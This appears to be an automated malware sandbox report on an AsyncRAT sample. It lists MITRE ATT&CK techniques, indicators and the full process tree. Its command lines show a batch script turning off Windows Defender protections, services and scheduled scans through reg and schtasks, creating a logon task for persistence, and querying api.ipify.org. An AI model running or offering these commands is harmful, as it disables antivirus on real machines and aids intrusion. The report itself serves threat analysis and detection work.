asyncrat | d01b020acbaee9457d161a79b852932cc192a2dde3d47ac14292eab667aee068

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender notification settings 3 TTPs 3 IoCs

evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000700000002326c-14.dat	family_asyncrat

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	dllhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	svchost.exe

Executes dropped EXE 3 IoCs

pid	Process
464	dllhost.exe
6028	svchost.exe
5608	csrss.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	test.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
61	api.ipify.org

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4700	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3948	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
6028	svchost.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe
5608	csrss.exe

Suspicious behavior: LoadsDriver 14 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
676	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	6028	svchost.exe
Token: SeDebugPrivilege	5608	csrss.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3544 wrote to memory of 3876	3544	test.exe	91
PID 3544 wrote to memory of 3876	3544	test.exe	91
PID 3876 wrote to memory of 4984	3876	cmd.exe	93
PID 3876 wrote to memory of 4984	3876	cmd.exe	93
PID 3876 wrote to memory of 3948	3876	cmd.exe	94
PID 3876 wrote to memory of 3948	3876	cmd.exe	94
PID 3876 wrote to memory of 4992	3876	cmd.exe	95
PID 3876 wrote to memory of 4992	3876	cmd.exe	95
PID 3876 wrote to memory of 3568	3876	cmd.exe	96
PID 3876 wrote to memory of 3568	3876	cmd.exe	96
PID 3876 wrote to memory of 2296	3876	cmd.exe	97
PID 3876 wrote to memory of 2296	3876	cmd.exe	97
PID 3876 wrote to memory of 1856	3876	cmd.exe	98
PID 3876 wrote to memory of 1856	3876	cmd.exe	98
PID 3876 wrote to memory of 1992	3876	cmd.exe	99
PID 3876 wrote to memory of 1992	3876	cmd.exe	99
PID 3876 wrote to memory of 1952	3876	cmd.exe	100
PID 3876 wrote to memory of 1952	3876	cmd.exe	100
PID 3876 wrote to memory of 4040	3876	cmd.exe	101
PID 3876 wrote to memory of 4040	3876	cmd.exe	101
PID 3876 wrote to memory of 4320	3876	cmd.exe	102
PID 3876 wrote to memory of 4320	3876	cmd.exe	102
PID 3876 wrote to memory of 4696	3876	cmd.exe	103
PID 3876 wrote to memory of 4696	3876	cmd.exe	103
PID 3876 wrote to memory of 1204	3876	cmd.exe	104
PID 3876 wrote to memory of 1204	3876	cmd.exe	104
PID 3876 wrote to memory of 924	3876	cmd.exe	105
PID 3876 wrote to memory of 924	3876	cmd.exe	105
PID 3876 wrote to memory of 2568	3876	cmd.exe	106
PID 3876 wrote to memory of 2568	3876	cmd.exe	106
PID 3876 wrote to memory of 3548	3876	cmd.exe	107
PID 3876 wrote to memory of 3548	3876	cmd.exe	107
PID 3876 wrote to memory of 2228	3876	cmd.exe	108
PID 3876 wrote to memory of 2228	3876	cmd.exe	108
PID 3876 wrote to memory of 3264	3876	cmd.exe	109
PID 3876 wrote to memory of 3264	3876	cmd.exe	109
PID 3876 wrote to memory of 5604	3876	cmd.exe	110
PID 3876 wrote to memory of 5604	3876	cmd.exe	110
PID 3876 wrote to memory of 5412	3876	cmd.exe	111
PID 3876 wrote to memory of 5412	3876	cmd.exe	111
PID 3876 wrote to memory of 5444	3876	cmd.exe	112
PID 3876 wrote to memory of 5444	3876	cmd.exe	112
PID 3876 wrote to memory of 5556	3876	cmd.exe	113
PID 3876 wrote to memory of 5556	3876	cmd.exe	113
PID 3876 wrote to memory of 5404	3876	cmd.exe	114
PID 3876 wrote to memory of 5404	3876	cmd.exe	114
PID 3876 wrote to memory of 5760	3876	cmd.exe	115
PID 3876 wrote to memory of 5760	3876	cmd.exe	115
PID 3876 wrote to memory of 5628	3876	cmd.exe	116
PID 3876 wrote to memory of 5628	3876	cmd.exe	116
PID 3876 wrote to memory of 5772	3876	cmd.exe	117
PID 3876 wrote to memory of 5772	3876	cmd.exe	117
PID 3876 wrote to memory of 2616	3876	cmd.exe	118
PID 3876 wrote to memory of 2616	3876	cmd.exe	118
PID 3876 wrote to memory of 5352	3876	cmd.exe	119
PID 3876 wrote to memory of 5352	3876	cmd.exe	119
PID 3876 wrote to memory of 5328	3876	cmd.exe	120
PID 3876 wrote to memory of 5328	3876	cmd.exe	120
PID 3876 wrote to memory of 5348	3876	cmd.exe	121
PID 3876 wrote to memory of 5348	3876	cmd.exe	121
PID 3876 wrote to memory of 5372	3876	cmd.exe	122
PID 3876 wrote to memory of 5372	3876	cmd.exe	122
PID 3876 wrote to memory of 5516	3876	cmd.exe	123
PID 3876 wrote to memory of 5516	3876	cmd.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\test.exe
"C:\Users\Admin\AppData\Local\Temp\test.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3544
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c main.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3876
- - C:\Windows\system32\openfiles.exe
    openfiles
    3⤵
    PID:4984
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender notification settings
    PID:3948
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f
    3⤵
    PID:4992
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
    3⤵
    PID:3568
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:2296
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
    3⤵
    PID:1856
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:1992
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:1952
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
    3⤵
    PID:4040
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
    3⤵
    PID:4320
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:4696
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1204
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:924
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2568
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3548
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2228
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3264
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:5604
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:5412
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:5444
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:5556
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:5404
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:5760
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:5628
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:5772
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:2616
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:5352
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:5328
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:5348
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:5372
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:5516
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:1152
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:4408
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4608
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4476
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3144
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1796
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:4860
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dllhost.exe
    dllhost.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:464
  - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6028
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "csrss" /tr '"C:\Users\Admin\AppData\Roaming\csrss.exe"' & exit
        5⤵
        
        PID:2324
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "csrss" /tr '"C:\Users\Admin\AppData\Roaming\csrss.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3948
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8122.tmp.bat""
        5⤵
        
        PID:4916
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:4700
      - C:\Users\Admin\AppData\Roaming\csrss.exe
        
        "C:\Users\Admin\AppData\Roaming\csrss.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5608

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
PID:5396
- C:\Windows\system32\curl.exe
  curl api.ipify.org
  2⤵
  PID:2088

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4004 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:8
1⤵
PID:6096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry